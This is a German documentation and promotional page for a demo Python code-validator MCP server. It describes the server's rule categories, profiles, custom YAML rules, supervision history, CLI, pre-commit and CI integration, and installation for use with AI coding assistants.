Welches Profil für welchen Zweck?
Die Wahl des Profils hängt vom Kontext ab. Für schnelle Prototypen reicht minimal, das nur die kritischsten Sicherheitsprobleme abfängt. Für Produktionscode empfehle ich recommended, das einen guten Kompromiss zwischen Strenge und Praktikabilität bietet. Wer maximale Codequalität will, wählt strict, muss dann aber mit mehr Feedback rechnen.
Profile als Ausgangspunkt
Die mitgelieferten Profile sind Vorschläge, keine Vorschriften. Sie können als Basis dienen und an die eigenen Bedürfnisse angepasst werden. Dazu mehr im Kapitel „Eigene Regeln erstellen".
Supervision: Validierungshistorie
Der Validator speichert auf Wunsch alle Validierungen in einer Historie. Das nennt sich Supervision (= Überwachung) und dient dazu, nachvollziehen zu können, welcher Code wann geprüft wurde und welche Ergebnisse dabei herauskamen.
get_supervision: Einzelne Validierung abrufen
Jede Validierung erhält eine eindeutige ID. Mit get_supervision kann man die Details einer bestimmten Validierung abrufen, etwa um nachzuvollziehen, warum Code zu einem bestimmten Zeitpunkt abgelehnt wurde.
# Details einer Validierung abrufen
details = get_supervision(id="val_2024_001")
# Beispiel-Ausgabe
{
"id": "val_2024_001",
"timestamp": "2024-01-15T14:32:17Z",
"code_hash": "a3f2b1c...",
"profile": "recommended",
"valid": false,
"violations": [...],
"duration_ms": 8
}
list_supervisions: Historie durchsuchen
Die Funktion list_supervisions zeigt alle gespeicherten Validierungen, optional gefiltert nach Zeitraum, Ergebnis oder Profil. Das ist nützlich, um Muster zu erkennen, etwa welche Regeln häufig verletzt werden.
# Letzte Validierungen abrufen
history = list_supervisions(limit=10)
# Nur fehlgeschlagene Validierungen
failed = list_supervisions(valid=false)
# Validierungen der letzten Stunde
recent = list_supervisions(since="1h")
Wozu Supervision?
In einem Produktionsumfeld hilft die Historie bei der Qualitätssicherung. Wenn immer wieder dieselben Regeln verletzt werden, deutet das auf ein systematisches Problem hin, das durch Schulung oder Anpassung der Instruktionen behoben werden kann. Die Supervision macht diese Muster sichtbar.
Datenschutz-Hinweis
Die Supervision-Historie speichert nur den Hash des Codes, nicht den Code selbst. Das reicht aus, um Duplikate zu erkennen, ohne sensiblen Code dauerhaft zu persistieren. Die Funktion kann in der Konfiguration deaktiviert werden. Hinweis: Das Validierungsergebnis (das an die KI zurückgegeben wird) enthält Code-Ausschnitte für Kontext, diese werden aber nicht in der Historie gespeichert.
Utilities: Verwaltung und Statistiken
Neben den Validierungsfunktionen bietet der Server einige Hilfsfunktionen für Konfiguration und Statistiken. Diese sind weniger für den täglichen Gebrauch gedacht, sondern für Administration und Debugging.
reload_rules: Regeln neu laden
Wenn Regeln oder Profile geändert wurden, lädt diese Funktion sie neu, ohne den Server neu starten zu müssen. Das ist praktisch während der Entwicklung eigener Regeln.
# Regeln neu laden
result = reload_rules()
# Beispiel-Ausgabe
{
"success": true,
"rules_loaded": 68,
"profiles_loaded": 7,
"message": "Rules reloaded successfully"
}
get_config: Aktuelle Konfiguration
Zeigt die aktuelle Server-Konfiguration an: Welches Standardprofil ist aktiv? Ist Supervision aktiviert? Wo liegen die Log-Dateien? Das hilft beim Debugging, wenn sich der Validator unerwartet verhält.
# Konfiguration abrufen
config = get_config()
# Beispiel-Ausgabe
{
"default_profile": "recommended",
"log_level": "INFO",
"supervision_enabled": true,
"rules_path": "config/rules/",
"profiles_path": "config/profiles/"
}
get_stats: Server-Statistiken
Liefert Statistiken über die Nutzung des Validators: Wie viele Validierungen wurden durchgeführt? Wie viele davon waren erfolgreich? Welche Regeln werden am häufigsten verletzt? Das gibt einen Überblick über die Codequalität im Zeitverlauf.
# Statistiken abrufen
stats = get_stats()
# Beispiel-Ausgabe
{
"total_validations": 1247,
"valid_count": 1089,
"invalid_count": 158,
"success_rate": 87.3,
"most_violated_rules": [
{"rule": "SEC-001", "count": 42},
{"rule": "REL-002", "count": 31},
{"rule": "STY-005", "count": 28}
],
"uptime_hours": 168
}
Für Administratoren
Diese Funktionen sind primär für Menschen gedacht, die den Validator betreiben und warten. Im normalen KI-Workflow werden sie selten gebraucht, aber für Troubleshooting und Optimierung sind sie unverzichtbar.
Die Regel-Kategorien
Was das bringt: Du verstehst, welche Arten von Problemen der Validator erkennt, sodass Du einordnen kannst, ob eine Meldung für Dein Projekt relevant ist oder ob Du sie bewusst ignorieren kannst.
Die Regeln dieses Validators sind in sieben Kategorien organisiert, die verschiedene Aspekte der Codequalität abdecken. Jede Kategorie hat einen eigenen Fokus, sodass je nach Bedarf bestimmte Bereiche stärker oder schwächer gewichtet werden können. Die wichtigsten Kategorien sind Sicherheit und Zuverlässigkeit, weil Fehler dort die größten Auswirkungen haben.
security: Sicherheitsregeln
Diese Kategorie enthält Regeln, die typische Python-Sicherheitsrisiken verhindern. Die Regeln decken Muster ab, die in mehreren OWASP-Klassen relevant werden können: Code-Injection durch eval() und exec(), Command-Execution durch os.system(), unsichere Deserialisierung durch pickle und hartcodierte Geheimnisse im Quellcode.
Typische Regeln:
SEC-001: Verbieteteval(), weil damit beliebiger Code ausgeführt werden kann.SEC-002: Verbietetexec()aus demselben Grund.SEC-003: Warnt vorpickle.loads()bei Daten aus nicht vertrauenswürdigen Quellen.SEC-004: Erkennt hartcodierte Passwörter und API-Keys im Code.SEC-005: Prüft auf unsichere Verwendung vonos.system()undsubprocessmitshell=True.
Warum ist das wichtig? Sicherheitslücken in Code sind teuer. Sie führen zu Datenlecks, Systemkompromittierungen und Reputationsschäden. Die Security-Regeln fangen die häufigsten Fehler ab, bevor sie in Produktion gelangen.
reliability: Zuverlässigkeit
Diese Kategorie enthält Regeln, die die Robustheit des Codes verbessern. Sie verhindern Situationen, in denen das Programm unerwartet abbricht oder sich nicht mehr kontrollieren lässt.
Typische Regeln:
REL-001: Verbietet leereexcept:-Blöcke, die Fehler verschlucken.REL-002: Verbietet nackteexcept:ohne Angabe des Exception-Typs.REL-003: Warnt vorpassin Exception-Handlern ohne Logging.REL-004: Prüft auf korrekte Ressourcen-Freigabe (Dateien, Verbindungen).
Warum ist das wichtig? Code, der Fehler verschluckt oder Ressourcen nicht freigibt, verursacht schwer zu diagnostizierende Probleme. Die Reliability-Regeln sorgen dafür, dass Fehler sichtbar werden und Ressourcen sauber verwaltet werden.
code_style: Stilregeln
Diese Kategorie enthält Regeln zur Code-Formatierung und Namensgebung. Sie orientieren sich an PEP 8 (= dem offiziellen Python-Styleguide) und sorgen für konsistenten, lesbaren Code.
Typische Regeln:
STY-001: Prüft Zeilenlänge (Standard: max. 120 Zeichen).STY-002: Prüft Einrückung (4 Spaces, keine Tabs).STY-003: Prüft Namenskonventionen (snake_case für Funktionen, PascalCase für Klassen).STY-004: Warnt vor unnötigen Leerzeilen.
Warum ist das wichtig? Konsistenter Stil macht Code lesbar. Wenn alle Entwickler (ob Mensch oder KI) denselben Konventionen folgen, ist der Code leichter zu verstehen und zu warten.
best_practices: Bewährte Praktiken
Diese Kategorie enthält Regeln, die allgemeine Python-Best-Practices durchsetzen. Sie verhindern Gegenmuster (= verbreitete, aber problematische Lösungsansätze) und fördern idiomatischen Python-Code.
Typische Regeln:
BP-001: Warnt vor== Trueoder== Falsestatt direkter Boolean-Prüfung.BP-002: Empfiehlt List Comprehensions stattmap()/filter()mit Lambdas.BP-003: Warnt vor veränderbaren Default-Argumenten (def f(x=[])).BP-004: Empfiehlt Context Manager (with) für Ressourcen.
Warum ist das wichtig? Best Practices existieren, weil sie sich in der Praxis bewährt haben. Code, der ihnen folgt, ist weniger fehleranfällig und für andere Entwickler leichter zu verstehen.
maintainability: Wartbarkeit
Diese Kategorie enthält Regeln, die die langfristige Wartbarkeit des Codes verbessern. Sie begrenzen Komplexität und fördern modularen Aufbau.
Typische Regeln:
MAINT-001: Begrenzt die zyklomatische Komplexität (= Anzahl der möglichen Pfade durch eine Funktion) auf ein sinnvolles Maximum.MAINT-002: Begrenzt die Verschachtelungstiefe von Kontrollstrukturen.MAINT-003: Begrenzt die Anzahl der Parameter einer Funktion.MAINT-004: Warnt vor zu langen Funktionen.
Warum ist das wichtig? Komplexer Code ist schwer zu verstehen, zu testen und zu ändern. Die Maintainability-Regeln halten die Komplexität in Grenzen, sodass der Code auch in Zukunft wartbar bleibt.
modern_python: Moderne Syntax
Diese Kategorie enthält Regeln, die moderne Python-Features fördern. Sie helfen dabei, veraltete Muster durch aktuelle Alternativen zu ersetzen.
Typische Regeln:
MOD-001: Empfiehlt f-Strings statt.format()oder%-Formatierung.MOD-002: Empfiehltpathlibstattos.pathfür Dateipfade.MOD-003: Empfiehltdataclassesfür einfache Datenklassen.MOD-004: Warnt vor veralteten Imports (z.B.from typing import Liststattlist).
Warum ist das wichtig? Moderner Python-Code ist oft kürzer, lesbarer und performanter. Die Regeln helfen, von veralteten Mustern loszukommen und aktuelle Sprachfeatures zu nutzen.
typing: Typisierung
Diese Kategorie enthält Regeln zur Typ-Annotation (= explizite Angabe der erwarteten Datentypen). Sie fördern statisch typisierten Code, der durch Tools wie mypy geprüft werden kann.
Typische Regeln:
TYP-001: Fordert Typ-Annotationen für Funktionsparameter.TYP-002: Fordert Rückgabetyp-Annotationen.TYP-003: Warnt vorAny-Typ, wo konkretere Typen möglich wären.
Warum ist das wichtig? Typ-Annotationen machen Code selbstdokumentierend und ermöglichen statische Analyse. Sie helfen, Typfehler zu finden, bevor der Code ausgeführt wird.
Abgrenzung
Der Validator prüft Syntax und Muster, keine Semantik. Er erkennt eval() als problematisch, aber er kann nicht beurteilen, ob die Geschäftslogik korrekt ist. Für semantische Prüfungen, Typ-Inferenz über Modulgrenzen oder komplexe Datenflussanalysen gibt es spezialisierte Tools wie mypy, pylint oder bandit.
Die Profile
Profile sind vorkonfigurierte Zusammenstellungen von Regeln, die für bestimmte Anwendungsfälle optimiert sind. Statt einzelne Regeln auszuwählen, wählt man ein Profil, das die passenden Regeln bereits enthält.
minimal: Das Sicherheitsnetz
Dieses Profil enthält nur die kritischsten Sicherheitsregeln. Es ist gedacht für Situationen, in denen Geschwindigkeit wichtiger ist als Perfektion, etwa bei schnellen Prototypen oder Experimenten.
Enthält: Nur Regeln mit Severity „critical" aus der Security-Kategorie.
Wann verwenden? Wenn die grundlegenden Sicherheitsrisiken abgefangen werden sollen, ohne den Workflow zu verlangsamen. Das Profil ist ein Sicherheitsnetz, kein Qualitätsgarant.
recommended: Die goldene Mitte
Dieses Profil ist der empfohlene Standard für die meisten Projekte. Es enthält alle kritischen und wichtigen Regeln, überspringt aber stilistische Feinheiten und optionale Verbesserungen.
Enthält: Security (critical + error), Reliability, Best Practices (wichtigste).
Wann verwenden? Für reguläre Entwicklung. Das Profil fängt echte Probleme ab, ohne bei jeder kleinen Stilabweichung zu meckern. Es ist der beste Kompromiss zwischen Strenge und Praktikabilität.
strict: Maximale Qualität
Dieses Profil aktiviert alle verfügbaren Regeln. Es ist gedacht für Projekte, die höchste Codequalität anstreben und bereit sind, mehr Zeit in die Korrektur zu investieren.
Enthält: Alle Regeln aus allen Kategorien.
Wann verwenden? Für kritische Systeme, öffentliche Libraries oder Teams, die einheitliche Codequalität durchsetzen wollen. Erwartet sei, dass der erste Validierungsversuch selten erfolgreich ist.
security-only: Fokus Sicherheit
Dieses Profil enthält ausschließlich Sicherheitsregeln, dafür aber alle. Es ignoriert Stil, Best Practices und Typisierung komplett.
Enthält: Alle Regeln der Security-Kategorie.
Wann verwenden? Für Security-Audits oder wenn bestehender Code auf Sicherheitsprobleme geprüft werden soll, ohne Stilfragen zu diskutieren.
owasp: OWASP-orientiert
Dieses Profil fokussiert auf die OWASP Top 10. Es enthält nur Regeln, die direkt mit den häufigsten Sicherheitsrisiken in Webanwendungen zusammenhängen.
Enthält: Security-Regeln, die OWASP-Kategorien zugeordnet sind (Injection, Broken Auth, XSS, etc.).
Wann verwenden? Für Web-Projekte, die explizit OWASP-Compliance anstreben. Das Profil ist schmaler als „security-only", dafür direkt auf den OWASP-Standard abgestimmt.
pep8: Stilkonformität
Dieses Profil fokussiert auf PEP 8, den offiziellen Python-Styleguide. Es enthält primär Stilregeln und ignoriert Sicherheit und Typisierung.
Enthält: Code-Style-Regeln, Namenskonventionen, Formatierung.
Wann verwenden? Wenn konsistenter Stil das Hauptziel ist, etwa bei Open-Source-Projekten mit vielen Contributors oder bei der Einführung von Stilrichtlinien in einem Team.
clean-code: Wartbarkeit
Dieses Profil orientiert sich an Clean-Code-Prinzipien (= Richtlinien für gut lesbaren, wartbaren Code, populär gemacht durch Robert C. Martin). Es enthält Regeln zu Komplexität, Modularität und Lesbarkeit.
Enthält: Best Practices, Maintainability, ausgewählte Style-Regeln.
Wann verwenden? Für Projekte, die langfristig gewartet werden sollen. Das Profil hilft, Code zu schreiben, der auch in Jahren noch verständlich ist.
Profile anpassen
Die mitgelieferten Profile sind Ausgangspunkte. Sie können kopiert, angepasst und um eigene Regeln erweitert werden. Details dazu im nächsten Kapitel.
Eigene Regeln erstellen
Die mitgelieferten Regeln decken allgemeine Python-Entwicklung ab. Aber jedes Projekt hat eigene Konventionen, eigene No-Gos und eigene Muster, die gefördert oder verhindert werden sollen. Für diese Fälle können eigene Regeln erstellt werden.
Aufbau einer Regel
Regeln werden als YAML-Dateien definiert (= ein Textformat, das Daten strukturiert speichert, ähnlich wie JSON, aber besser lesbar). Jede Regel hat eine ID, einen Namen, eine Kategorie und ein Pattern, das im Code gesucht wird.
# config/rules/custom/no-print-debug.yaml
id: CUSTOM-001
name: no_print_debug
category: best_practices
severity: warning
pattern: "print\\s*\\(.*debug"
pattern_type: regex
message: "Debug-Print gefunden. Bitte durch Logging ersetzen."
fix_suggestion: "Verwende logging.debug() statt print() für Debug-Ausgaben."
enabled: true
Die Felder im Detail
- id: Eindeutige Kennung der Regel. Eigene Regeln sollten mit einem Präfix beginnen (z.B. CUSTOM- oder dem Projektnamen).
- name: Kurzer, beschreibender Name in snake_case.
- category: Eine der vordefinierten Kategorien oder eine eigene.
- severity: critical, error, warning oder info.
- pattern: Das zu suchende Muster (Regex oder AST-Pattern).
- pattern_type: „regex" für reguläre Ausdrücke, „ast" für AST-basierte Suche.
- message: Die Fehlermeldung, die bei einem Treffer angezeigt wird.
- fix_suggestion: Ein Vorschlag zur Behebung.
- enabled: true oder false, um Regeln temporär zu deaktivieren.
Regex vs. AST
Für einfache Pattern-Suchen reicht Regex (= reguläre Ausdrücke, eine Syntax zur Textmuster-Erkennung). Für strukturelle Prüfungen, etwa „Funktion ohne Docstring", ist AST-basierte Suche (= Analyse des Abstract Syntax Tree, der logischen Code-Struktur) besser geeignet.
# Regex-Beispiel: Findet hartcodierte URLs
id: CUSTOM-002
pattern: "https?://[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}"
pattern_type: regex
# AST-Beispiel: Findet Funktionen ohne Docstring
id: CUSTOM-003
pattern: "FunctionDef[body[0] != Expr[value=Constant[value=str]]]"
pattern_type: ast
Eigene Profile erstellen
Profile werden ebenfalls als YAML-Dateien definiert. Sie listen die Regel-IDs auf, die enthalten sein sollen.
# config/profiles/my-project.yaml
name: my-project
description: Projektspezifisches Profil für Projekt XY
extends: recommended # Basis-Profil übernehmen
rules:
include:
- CUSTOM-001
- CUSTOM-002
- CUSTOM-003
exclude:
- STY-001 # Zeilenlänge ist uns egal
Grenzen der Anpassung
Der Validator ist für Pattern-Matching und einfache AST-Prüfungen gebaut. Er kann keine komplexen semantischen Analysen, keine projektweiten Abhängigkeiten und keine Runtime-Eigenschaften prüfen. Für solche Anforderungen gibt es spezialisierte Tools.
Die Stärke eigener Regeln liegt in der schnellen Durchsetzung projektspezifischer Konventionen: „In diesem Projekt verwenden wir kein print()", „API-Keys gehören in Umgebungsvariablen", „Jede Klasse braucht einen Docstring". Solche Regeln lassen sich in Minuten erstellen und sparen langfristig viel manuelle Review-Arbeit.
Tipp: Klein anfangen
Starte mit einer oder zwei eigenen Regeln für die häufigsten Probleme im Projekt. Erweitere das Regelset schrittweise, basierend auf echten Erfahrungen. Zu viele Regeln auf einmal führen zu Frustration statt zu Qualität.
Integration in den Workflow
Der Validator ist nur so nützlich, wie er in den tatsächlichen Arbeitsablauf integriert ist. Hier zeige ich verschiedene Möglichkeiten, wie die Validierung Teil des täglichen Workflows werden kann, je nach eingesetzter KI und persönlichen Präferenzen.
Variante 1: MCP-Integration für KI-Assistenten
Die primäre Nutzung ist die Integration als MCP-Server in einen KI-Assistenten. Die KI wird instruiert, vor dem Schreiben von Python-Code die Funktion validate_code aufzurufen.
# Beispiel-Instruktion in CLAUDE.md oder System-Prompt
## Python-Code-Validierung
Bevor du Python-Code in eine Datei schreibst, validiere ihn:
1. Rufe `validate_code(code=..., profile="recommended")` auf
2. Prüfe das Ergebnis auf Violations
3. Bei Violations: Korrigiere den Code und validiere erneut
4. Erst wenn `valid: true`, schreibe den Code
Diese Regel gilt für alle .py-Dateien.
Der Vorteil dieser Variante: Wenn die KI die Instruktion konsequent befolgt, fühlt sich die Validierung für den Menschen automatisch an. Die KI lernt im Laufe der Sitzung, welche Muster zu vermeiden sind, weil sie das Feedback aus den Validierungsergebnissen erhält.
Variante 2: Befehlszeile für manuelle Prüfung
Für Menschen, die Code selbst prüfen wollen, oder für Situationen, in denen keine KI im Spiel ist, gibt es das Command-Line-Interface. Es eignet sich für schnelle Checks einzelner Dateien oder für die Integration in Skripte.
# Einzelne Datei prüfen
python -m src.cli validate api.py
# Mit bestimmtem Profil
python -m src.cli validate api.py --profile strict
# Mehrere Dateien (Schleife)
for f in src/*.py; do
python -m src.cli validate "$f" --profile recommended
done
# Nur Security-Regeln
python -m src.cli validate api.py --category security
Variante 3: Pre-Commit-Hook
Für Teams, die sicherstellen wollen, dass kein Code ohne Validierung ins Repository gelangt, kann der Validator als Pre-Commit-Hook (= ein Skript, das automatisch vor jedem Commit ausgeführt wird) eingerichtet werden.
# .git/hooks/pre-commit
#!/bin/bash
for file in $(git diff --cached --name-only --diff-filter=ACM | grep '\.py$'); do
result=$(python -m src.cli validate "$file" --profile recommended --json)
if echo "$result" | grep -q '"valid": false'; then
echo "Validation failed for $file"
echo "$result" | python -m json.tool
exit 1
fi
done
exit 0
Mit dieser Konfiguration wird jeder Commit blockiert, der Python-Code mit Regelverstößen enthält. Das ist streng, aber effektiv.
Variante 4: CI/CD-Pipeline
Für größere Projekte kann die Validierung Teil der CI/CD-Pipeline (= automatisierte Build- und Test-Prozesse) werden. Der Validator läuft dann bei jedem Push oder Pull Request.
# .github/workflows/validate.yml (GitHub Actions Beispiel)
name: Python Validation
on: [push, pull_request]
jobs:
validate:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Set up Python
uses: actions/setup-python@v4
with:
python-version: '3.11'
- name: Install validator
run: pip install -r python-validator/requirements.txt
- name: Run validation
run: |
for f in $(find src -name "*.py"); do
python -m src.cli validate "$f" --profile strict
done
Was diese Integration nicht ersetzt
Der Validator ist ein Werkzeug unter vielen. Er ersetzt keine Unit-Tests, keine Integration-Tests und kein Code-Review durch Menschen. Er ergänzt diese Praktiken, indem er eine Klasse von Problemen früh abfängt, nämlich bekannte Gegenmuster (Anti-Patterns) und Sicherheitsrisiken.
Für komplexere Analysen wie Typ-Prüfung über Modulgrenzen, Performance-Profiling oder Dependency-Audits gibt es spezialisierte Tools, die genau dafür gebaut sind. Der Validator fokussiert bewusst auf schnelle, leichtgewichtige Prüfungen, die in den Moment des Code-Schreibens passen.
Empfehlung
Starte mit der MCP-Integration, wenn Du mit KI-Assistenten arbeitest. Füge die Befehlszeilen-Prüfung hinzu, wenn Du auch manuell geschriebenen Code prüfen willst. Der Pre-Commit-Hook ist optional, aber hilfreich für Teams mit mehreren Entwicklern.
Fazit: Validierung als Qualitätsschranke
KI-Assistenten schreiben so schnell so viel Code, dass Menschen manchmal regelrecht euphorisch werden (bis die Nacharbeit kommt).Geschwindigkeit != Qualität und der Python Validator MCP Server adressiert genau dieses Problem: Er prüft Code gegen definierte Regeln, bevor er geschrieben wird, sodass problematische Muster gar nicht erst im Repository landen.
Was der Validator leistet
Der Validator fängt bekannte Probleme ab: Sicherheitslücken wie eval() oder pickle.loads(), Zuverlässigkeitsprobleme wie nackte except:-Blöcke, stilistische Inkonsistenzen und veraltete Muster. Er arbeitet typischerweise schnell (Syntaxbaum-Analyse ist leichtgewichtig) und nachvollziehbar (jede Regel ist dokumentiert). Ob die Validierung tatsächlich "automatisch" erfolgt, hängt davon ab, wie konsequent die KI (Spoiler: Gemini ist's relativ häufig egal) die Instruktion befolgt.
Das spart Zeit, weil Probleme nicht erst beim Review oder in Produktion gefunden werden. Es spart Nacharbeit, weil der Code von Anfang an den Standards entspricht. Und es spart immens Tokens, weil weniger Korrekturschleifen nötig sind.
Was der Validator nicht leistet
Der Validator ist ein Demo-System, das zeigt, wie automatische Code-Validierung funktionieren kann. Er ist bewusst einfach gehalten: Einzeldatei-Analyse, keine projektweiten Abhängigkeiten, keine komplexe Konfiguration. Im Praxisalltag kommen deutlich komplexere und ausgereiftere Systeme zum Einsatz, die insbesondere mit SQL- und Vektordatenbanken arbeiten.
Das Tool ersetzt keine statische Typ-Analyse (dafür gibt es mypy), keine "großen" Security-Audits (dafür gibt es bandit und Safety), keine Code-Reviews durch Menschen (dafür gibt es erfahrene Entwickler:innen) und keine Tests (dafür gibt es pytest). Es ergänzt diese Werkzeuge, indem es eine bestimmte Klasse von Problemen früh im Prozess abfängt.
Aber das Schöne ist: Du kannst auf dieser Basis einfach aufbauen und Dich langsam weiter entwickeln!
Für wen ist das gedacht?
Für alle, die mit KI-Assistenten Python-Code schreiben und sicherstellen wollen, dass dieser Code grundlegenden Qualitätsstandards entspricht. Für Teams, die einheitliche Code-Konventionen durchsetzen wollen. Für Einzelentwickler, die gerade starten und ein Sicherheitsnetz unter ihrem KI-generierten Code haben möchten.
Der Validator ist kein Produkt, das verkauft werden soll: Er ist für die KI-Gemeinschaft entstanden und ich teile hier einfach die Impulse, wie man sich so ein Werkzeug konstruieren kann. :-)
Wie geht es weiter?
Der Validator in seiner jetzigen Form ist funktional, aber natürlich nicht vollständig. Mögliche Erweiterungen wären: mehr Regeln, bessere AST-Analyse, Integration mit mehr KI-Systemen, Web-Interface für die Supervision ... aber: Nein. Denn eigentlich entwickeln wir uns zum Betrieb leistungsfähiger Contract & Rules Systemen. Nur so am Rande: Hier habe ich so etwas vor einer Weile mal für einen MCP SQL Server gemacht, vielleicht ist das ja für Dich auch interessant.
Wer Ideen hat, Probleme findet oder den Validator in interessanten Kontexten einsetzt, kann mich gerne kontaktieren. In der KI-Sprechstunde oder im Chat ist Raum für solche Gespräche.
Der Kern der Idee
KI-Assistenten sind mächtige Werkzeuge, aber sie brauchen Leitplanken und sollten in Systeme integriert sein. Der Validator ist eine solche Leitplanke: nicht perfekt, nicht vollständig, zum Lernen und Verstehen. Er zeigt, dass automatische Qualitätssicherung für KI-generierten Code möglich ist, und er funktioniert heute, mit den Tools, die heute verfügbar sind.
Für alle, die mehr mit KI-Systemen machen wollen
Der Python Validator ist ein Demo-Projekt im Rahmen der KI-Gemeinschaft. Er ist entstanden, weil wir usn dort gemeinsam erarbeiten, wie man KI-Prozesse im Unternehmen systemisch integriert.
In diesem Fall möchten wir KI-generierten Code automatisch prüfen und gleichzeitig das System verbessern, das den Code-Erstellungsprozess steuert.
Aber er ist nur ein kleiner Teil dessen, was wir in der KI-Gemeinschaft gemeinsam entwickeln und nutzen.
Was wir in der KI-Gemeinschaft machen
Die KI-Gemeinschaft ist ein Ort für Menschen, die KI-Systeme praktisch einsetzen wollen, nicht nur darüber reden (oder auf LinkedIn lustige lineare n8n-Screenshots posten). Wir treffen uns regelmäßig in der KI-Sprechstunde, zu Grundlagen- und Vertiefungs-Seminaren, tauschen Erfahrungen aus und helfen uns gegenseitig bei konkreten Problemen.
- KI-Seminare: Intensive Live-Sessions rund um das Thema "KI-Prozesse systemisch ins Unternehmen integrieren": So, dass am Besten alle direkt profitieren!
- KI-Sprechstunde: Regelmäßige Live-Sessions, in denen wir aktuelle Fragen besprechen, neue Tools vorstellen und gemeinsam an Lösungen arbeiten.
- Chat: Ein Ort für schnelle Fragen, Ideen und Austausch zwischen den Sprechstunden.
- Dokumentationen: Anleitungen, Tutorials und Best Practices, die aus echten Projekten entstanden sind.
- Tools und Downloads: Werkzeuge wie den Python Validator, die ich für meine Arbeit entwickelt habe und mit der Gemeinschaft teile.
- Seminarmaterialien: Alle Inhalte aus meinen KI-Seminaren, zum Nachschlagen und Vertiefen.
php if ($hasAccess): ?
Der Python Validator für Dich
Als Mitglied der KI-Gemeinschaft findest Du weiter unten auf dieser Seite den Download-Link und eine detaillierte Installationsanleitung.
Das Paket enthält den vollständigen Quellcode, alle Regeln, die Profile und ein Handbuch. Du kannst es sofort einsetzen oder als Ausgangspunkt für eigene Anpassungen nutzen.
php else: ?
Der Python Validator für Mitglieder
Für alle Teilnehmenden der KI-Gemeinschaft steht der Python Validator CLI + MCP Server hier zum Download bereit. Nach der Anmeldung findest Du weiter unten auf dieser Seite den Download-Link und eine detaillierte Installationsanleitung.
Das Paket enthält den vollständigen Quellcode, alle Regeln, die Profile und ein Handbuch. Du kannst es sofort einsetzen oder als Ausgangspunkt für eigene Anpassungen nutzen.
Interesse?
Die KI-Gemeinschaft ist offen für alle, die ernsthaft mit KI-Systemen arbeiten wollen. Schau vorbei und entscheide selbst, ob es für Dich passt.
php endif; ?
Download und Installation
Der Download des Python Validator CLI + MCP Server sowie die Installationsanleitung sind exklusiv für Mitglieder der KI-Gemeinschaft verfügbar.
Zur KI-Gemeinschaft oder [Anmelden](<?= \App\Helpers\AuthHelper::LOGIN_URL ?>?return=<?= urlencode($_SERVER['REQUEST_URI'] ?? '/mcp-server-python-validator') ?> "Anmelden")
Download
Hier ist der Python Validator CLI + MCP Server. Das Paket enthält alles, was Du für den Einsatz brauchst.
Paketinhalt
- src/ : Der vollständige Quellcode (MCP-Server + CLI)
- config/rules/ : Alle Regeldefinitionen als YAML
- config/profiles/ : Die vorkonfigurierten Profile
- tests/ : Unit- und Integrationstests
- docs/ : Handbuch und API-Dokumentation
- requirements.txt : Python-Abhängigkeiten
Hinweis
Das ist ein Demo-Projekt (wenngleich es komplett von mir durchgeprüft ist) und kommt ohne Gewährleistung oder Support daher. Bei Fragen können wir das gerne im Chat oder in der KI-Sprechstunde besprechen.
Installation und Setup
Der Python Validator MCP Server kann auf zwei Arten genutzt werden: als MCP-Server für KI-Assistenten oder als Befehlszeilen-Werkzeug (CLI) für manuelle Validierung. Beide Varianten teilen dieselbe Codebasis und dieselben Regeln, sodass Du flexibel wählen kannst, welche Variante für Deinen Workflow besser passt.
Voraussetzungen
Bevor Du startest, stelle sicher, dass folgende Komponenten vorhanden sind:
- Python 3.10 oder höher, weil der Code moderne Type Hints verwendet.
- pip für die Paketinstallation.
- Optional: Virtual Environment (ich empfehle es, damit die Abhängigkeiten isoliert bleiben).
Installation
# Archiv entpacken
tar -xzf python-validator.tar.gz
cd python-validator
# Virtual Environment erstellen (empfohlen)
python3 -m venv venv
source venv/bin/activate
# Abhängigkeiten installieren
pip install -r requirements.txt
MCP-Server konfigurieren
Um den Validator als MCP-Server zu nutzen, musst Du ihn in der Konfiguration Deines KI-Assistenten registrieren. Die Konfiguration unterscheidet sich je nach System, aber das Grundprinzip ist immer gleich: Du gibst an, wie der Server gestartet wird und wo er liegt.
Claude Code
In .mcp.json im Projektverzeichnis (oder global in ~/.claude/settings.json):
{
"mcpServers": {
"python-validator": {
"command": "/pfad/zu/python-validator/venv/bin/python",
"args": ["-m", "src.main"],
"cwd": "/pfad/zu/python-validator"
}
}
}
Andere MCP-fähige Clients
Die meisten MCP-Clients verwenden ein ähnliches Format. Der Server kommuniziert über stdio (= Standard Input/Output), sodass keine Netzwerkkonfiguration nötig ist:
{
"servers": {
"python-validator": {
"type": "stdio",
"command": "python",
"args": ["-m", "src.main"],
"cwd": "/pfad/zu/python-validator"
}
}
}
Befehlszeilen-Nutzung
Falls Du den Validator lieber manuell nutzen möchtest, ohne ihn als MCP-Server einzubinden, funktioniert das über die Kommandozeile. Ich nutze diese Variante oft, um einzelne Dateien schnell zu prüfen:
# Datei validieren
python -m src.cli validate /pfad/zur/datei.py
# Mit bestimmtem Profil
python -m src.cli validate /pfad/zur/datei.py --profile strict
# Nur bestimmte Kategorie
python -m src.cli validate /pfad/zur/datei.py --category security
# Alle verfügbaren Regeln anzeigen
python -m src.cli list-rules
# Profile anzeigen
python -m src.cli list-profiles
Konfiguration anpassen
Die Hauptkonfiguration liegt in config/settings.json. Hier kannst Du das Standardprofil festlegen, das Log-Level anpassen und die Supervision (= Protokollierung aller Validierungen) aktivieren oder deaktivieren:
{
"default_profile": "recommended",
"log_level": "INFO",
"log_file": "logs/validator.log",
"supervision": {
"enabled": true,
"history_limit": 1000
}
}
Verifikation
Nach der Installation empfehle ich, die Funktionalität kurz zu testen, damit Du sicher sein kannst, dass alles korrekt eingerichtet ist:
# Tests ausführen
python -m pytest tests/ -v
# MCP-Server manuell starten (für Debugging)
python -m src.main
# CLI-Hilfe anzeigen
python -m src.cli --help
Log-Dateien
Der Server loggt nach logs/validator.log. Dieses Log ist ausschließlich für Debugging gedacht, nicht für die MCP-Kommunikation. MCP verwendet stdout/stdin für den Datenaustausch, sodass alle anderen Ausgaben ins Log umgeleitet werden. Wenn etwas nicht funktioniert, findest Du dort meist die Ursache.